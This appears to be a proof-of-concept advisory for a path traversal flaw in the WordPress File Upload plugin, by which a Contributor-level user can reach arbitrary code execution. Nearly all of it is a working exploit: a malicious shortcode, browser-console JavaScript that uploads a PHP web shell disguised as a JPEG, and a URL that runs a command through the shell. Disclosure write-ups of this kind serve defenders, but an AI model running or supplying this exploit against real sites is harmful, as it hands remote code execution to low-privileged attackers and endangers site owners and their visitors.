The plugin allows users with a role as low as Contributor to perform path traversal via a shortcode argument, which can then be used to upload a PHP code disguised as an image inside the auto-loaded directory of the plugin, resulting in arbitrary code execution.
As a contributor (or above), add the following shortcode to a post: [wordpress_file_upload placements="webcam" webcam="true" imagename="/../plugins/wp-file-upload/lib/"]
Then preview/view the post and run the below command (replacing all example.com by the correct domain) in the web developer console
session=GlobalData.WFU[1].session;
nonce=wfu_uploader_nonce_1.value;
params_index=GlobalData.WFU[1].params_index;
unique_id="whateverid";
filename="a.jpg"
filenames=wfu_plugin_encode_string("a.jpg");
payload="<?=`$_GET[shellcommand]`?>"
fd=new FormData();
Object.entries({
'action': 'wfu_ajax_action',
'wfu_uploader_nonce': nonce,
'uploadedfile_1_index': '0',
'uploadedfile_1_name': filenames,
'uploadedfile_1_size': payload.length,
'uniqueuploadid_1': unique_id,
'params_index': params_index,
'subdir_sel_index': '-1',
'nofileupload_1': '0',
'only_check': '0',
'session_token': session
}).forEach(o=>fd.set.apply(fd, o));
fd.set("uploadedfile_1", new File([payload], filename, {type:"image/jpeg"}));
jQuery.post("https://example.com/wp-admin/admin-ajax.php",{
'action': 'wfu_ajax_action_ask_server',
'session_token': session,
'sid': '1',
'unique_id': unique_id,
'wfu_uploader_nonce': nonce,
'filenames': filenames,
'filesizes': payload.length
}).then(()=>fetch("https://example.com/wp-admin/admin-ajax.php",{method:"POST",body:fd})).then(()=>jQuery.post("https://example.com/wp-admin/admin-ajax.php",{
'action': 'wfu_ajax_action',
'wfu_uploader_nonce': nonce,
'uniqueuploadid_1': unique_id,
'params_index': params_index,
'session_token': session,
'upload_finished': '1'
}))
Then go to https://example.com/wp-admin/?shellcommand=calc